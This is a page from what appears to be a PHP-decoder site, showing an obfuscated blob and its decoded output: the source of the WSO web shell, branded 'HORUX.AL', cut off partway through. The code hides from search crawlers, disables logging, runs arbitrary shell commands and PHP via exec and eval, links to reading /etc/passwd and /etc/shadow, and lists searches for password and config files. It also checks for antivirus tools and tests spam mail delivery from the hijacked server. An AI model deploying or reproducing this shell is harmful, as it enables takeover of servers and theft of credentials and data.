Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $O0O000="arImlYbuRSQjkhTxVOXzZDNKFWdiEvnCtyGecBUwHfgPJMpLsAoqqIliGsEPKkNeVujMhHZfzr..
Decoded Output download
?>b'<?php
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';
if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
header(\'HTTP/1.0 404 Not Found\');
exit;
}
}
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
//@set_magic_quotes_runtime(0);
@define(\'WSO_VERSION\', \'SHELL\');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die(\'<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
<div class="container col-lg-6"> <h3> HORUX.AL <small>shop</small></h3>
<div class="row">
<form method=post>
<div class="form-group col-lg-3 ">
<input class="form-control input-sm" type="password" name="pass" placeholder="password">
</div>
<div class="form-group col-lg-3 mt-2"><button type="submit" class="btn btn-default btn-sm" value="send">Submit</button>
</div>
</form>
</div>\');
}
function http_get_contents1($S5KCl) {
$Bx_mI = curl_init();
curl_setopt($Bx_mI, CURLOPT_URL, $S5KCl);
curl_setopt($Bx_mI, CURLOPT_HEADER, 0);
curl_setopt($Bx_mI, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Bx_mI, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Bx_mI, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($Bx_mI, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($Bx_mI, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($Bx_mI, CURLOPT_TIMEOUT, 10);
curl_setopt($Bx_mI, CURLOPT_COOKIESESSION, true);
curl_setopt($Bx_mI, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
$t4lFf = curl_exec($Bx_mI);
curl_close($Bx_mI);
return $t4lFf;
}
function http_get_contents2($S5KCl) {
$Ynb35 = @http_get_contents1($S5KCl);
if (empty($Ynb35)) {
$Bx_mI = curl_init();
curl_setopt($Bx_mI, CURLOPT_URL, $S5KCl);
curl_setopt($Bx_mI, CURLOPT_HEADER, 0);
curl_setopt($Bx_mI, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Bx_mI, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Bx_mI, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($Bx_mI, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($Bx_mI, CURLOPT_CONNECTTIMEOUT, 15);
curl_setopt($Bx_mI, CURLOPT_TIMEOUT, 15);
curl_setopt($Bx_mI, CURLOPT_COOKIESESSION, true);
curl_setopt($Bx_mI, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
$t4lFf = curl_exec($Bx_mI);
curl_close($Bx_mI);
return $t4lFf;
} else {
return $Ynb35;
}
}
function wsoSafe(){
$actual_link = (isset($_SERVER[\'HTTPS\']) && $_SERVER[\'HTTPS\'] === \'on\' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$Xdhjnd= http_get_contents2("https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site=".$actual_link);
if(preg_match(\'#"sb.ssr",2,#si\',$Xdhjnd)){
return \'rTgxDdEC\';
}else{
return \'rTgxDcLn\';
}
}
if(isset($_REQUEST[\'email\'])){
$cdRcZ = isset($_REQUEST[\'cdRcZ\']) ? $_REQUEST[\'cdRcZ\']:\'Horux Shell\';
$emall = isset($_REQUEST[\'email\']) ? $_REQUEST[\'email\']:null;
$aler = \'\';
function hideEmailAddress($email)
{
$em = explode("@",$email);
$name = implode(array_slice($em, 0, count($em)-1), \'@\');
$len = floor(strlen($name)/2);
return substr($name,0, $len) . str_repeat(\'*\', $len) . "@" . end($em);
}
if (filter_var($emall, FILTER_VALIDATE_EMAIL)){
$recipient = isset ($emall) ? $emall : null;
$subject = isset ($_REQUEST["subject"]) ? $_REQUEST["subject"] : "Delivery Test from [".$cdRcZ."]";
$message = isset ($_REQUEST["msg"]) ? $_REQUEST["msg"] : "If you see this msg this means that Shell [#".$cdRcZ."] Delivery is working good";
if(mail($recipient, $subject, $message))
{
$aler = \'<center><horuxsuccessmail><span class="badge badge-success">Test email sent to \'.hideEmailAddress($emall).\' Successfully</span>
</center>\';
}
else{
$aler = \'
<center><horuxfailedmail>
<span class="badge badge-danger">Test email Failed to \'.hideEmailAddress($emall).\'</span>
</center>\';
}
}
echo \'<html lang="en"><head>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Horux Delivery Test</title>
<style>
.noble-ui-logo {
font-weight: 900;
font-size: 25px;
letter-spacing: -1px;
color: #031a61;
}
.noble-ui-logo span {
color: #727cf5;
font-weight: 300;
}
.d-block {
display: block !important;
}
a, div, h1, h2, h3, h4, h5, h6, p, span {
text-shadow: none;
}
a {
color: #007bff;
text-decoration: none;
background-color: transparent;
}
.badge {
padding: 6px 5px 3px;
}
.badge-success {
color: #fff;
background-color: #10b759;
}
.badge {
display: inline-block;
padding: 4px 5px;
font-size: 75%;
font-weight: 700;
line-height: 1;
text-align: center;
white-space: nowrap;
vertical-align: baseline;
border-radius: 3px;
transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
}
.badge-danger {
color: #fff;
background-color: #ff3366;
}
body {
font-family: "Overpass", sans-serif;
font-size: 0.875rem;
font-weight: 400;
line-height: 1.5;
}
</style>
</head>
<body>
<center><a href="https://horux.al" class="noble-ui-logo d-block mb-2">HORUX<span>-SHOP</span></a></center>\'.$aler.\'
</body>
</html>
\';
exit;
}
function wsoSec(){
if (is_ssl_exists("https://".$_SERVER[HTTP_HOST])) {
return \'yup\';
} else {
return \'nup\';
}
}
@define(\'WSO_CLEAN\', wsoSafe());
@define(\'WSO_SSL\', wsoSec());
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function is_ssl_exists($url)
{
$orignal_parse = parse_url($url, PHP_URL_HOST);
$get = stream_context_create(array("ssl" => array("capture_peer_cert" => TRUE)));
$read = stream_socket_client("ssl://" . $orignal_parse . ":443", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $get);
$cert = stream_context_get_params($read);
$certinfo = openssl_x509_parse($cert[\'options\'][\'ssl\'][\'peer_certificate\']);
if (isset($certinfo) && !empty($certinfo)) {
if (
isset($certinfo[\'name\']) && !empty($certinfo[\'name\']) &&
isset($certinfo[\'issuer\']) && !empty($certinfo[\'issuer\'])
) {
return true;
}
return false;
}
return false;
}
$uEjSi = $_SERVER[\'HTTP_HOST\'];
if(!empty($auth_pass)) {
if(isset($_REQUEST[\'pass\']) && (md5($_REQUEST[\'pass\']) == $auth_pass))
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = \'win\';
else
$os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if($os == \'win\') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != \'/\')
$cwd .= \'/\';
if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))
$_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;
if($os == \'win\')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate \'.conf\'",
"locate .pwd files" => "locate \'.pwd\'",
"locate .sql files" => "locate \'.sql\'",
"locate .htpasswd files" => "locate \'.htpasswd\'",
"locate .bash_history files" => "locate \'.bash_history\'",
"locate .mysql_history files" => "locate \'.mysql_history\'",
"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
global $color;
echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - HORUX.AL " . WSO_VERSION ."</title>
<style>
.noble-ui-logo {
font-weight: 900;
font-size: 25px;
letter-spacing: -1px;
color: #031a61;
}
.noble-ui-logo span {
color: #727cf5;
font-weight: 300;
}
.d-block {
display: block !important;
}
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = \'ajax=true\';
for(i=0;i<d.mf.elements.length;i++)
params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);
sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject(\'Microsoft.XMLHTTP\');
if (req) {
req.onreadystatechange = processReqChange;
req.open(\'POST\', url, true);
req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", \'m\');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert(\'Request error!\');
}
</script>
<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname(\'r\');
$kernel = @php_uname(\'s\');
$explink = \'http://exploit-db.com/search/?action=search&filter_description=\';
if(strpos(\'Linux\', $kernel) !== false)
$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));
else
$explink .= urlencode($kernel . \' \' . substr($release,0,3));
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
$opt_charsets = \'\';
foreach($charsets as $item)
$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'Logout\'] = \'Logout\';
$m[\'Self remove\'] = \'SelfRemove\';
$menu = \'\';
foreach($m as $k => $v)
$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a> ]</th>\';
$drives = "";
if($GLOBALS[\'os\'] == \'win\') {
foreach(range(\'c\',\'z\') as $drive)
if(is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
}
echo \'<horuxuname style="display:none;">\' . substr(@php_uname(), 0, 120) . \'</horuxuname><iFsL style="display:none;">\' . WSO_SSL . \'</iFsL><iFcL style="display:none;">\' . WSO_CLEAN . \'</iFcL><h0pv style="display:none;">\' . @phpversion() . \'</h0pv><h0ss style="display:none;">\' . $GLOBALS[\'os\'] . \'</h0ss><table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'
. \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=green><b>OFF</b></font>\')
. \' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')">[ home ]</a><br>\' . $drives . \'</td>\'
. \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'
. \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5"><h1>
<center><a href="https://horux.al" class="noble-ui-logo d-block mb-2"><font color="#fff">HORUX</font><span><font color="#727cf5">-SHOP</font></span></a></center></h1>\';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'green\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>
<tr>
<td><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>
<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
</tr><tr>
<td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>
<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
</tr><tr>
<td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
<input type=hidden name=a value=\'FilesMAn\'>
<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>
<input type=hidden name=p1 value=\'uploadFile\'>
<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = \'\';
if (function_exists(\'exec\')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists(\'shell_exec\')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';
elseif (!@is_writable($f))
return \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';
else
return \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx(\'which \' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo \'<h1>Server security information</h1><div class=content>\';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo \'<span>\' . $n . \': </span>\';
if(strpos($v, "
") === false)
echo $v . \'<br>\';
else
echo \'<pre class=ml1>\' . $v . \'</pre>\';
}
}
wsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
if(function_exists(\'apache_get_modules\'))
wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));
wsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');
wsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
wsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
wsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
wsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
wsoSecParam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if($GLOBALS[\'os\'] == \'nix\') {
wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"shadow\")\'>[view]</a>":\'no\');
wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));
wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';
if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {
$temp = "";
for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
$uid = @posix_getpwuid($_POST[\'p2\']);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
echo \'<br/>\';
wsoSecParam(\'Users\', $temp);
}
}
} else {
wsoSecParam(\'OS Version\',wsoEx(\'ver\'));
wsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));
wsoSecParam(\'User Accounts\',wsoEx(\'net user\'));
}
echo \'</div>\';
wsoFooter();
}
function actionPhp() {
if(isset($_POST[\'ajax\'])) {
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);
ob_start();
eval($_POST[\'p1\']);
$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "
\\'") . "\';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);
wsoHeader();
if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {
echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',
\'!td, th {(.*)}!msiU\',
\'!<img[^>]+>!msiU\',
), array (
\'\',
\'.e, .v, .h, .h th {$1}\',
\'\'
), $tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
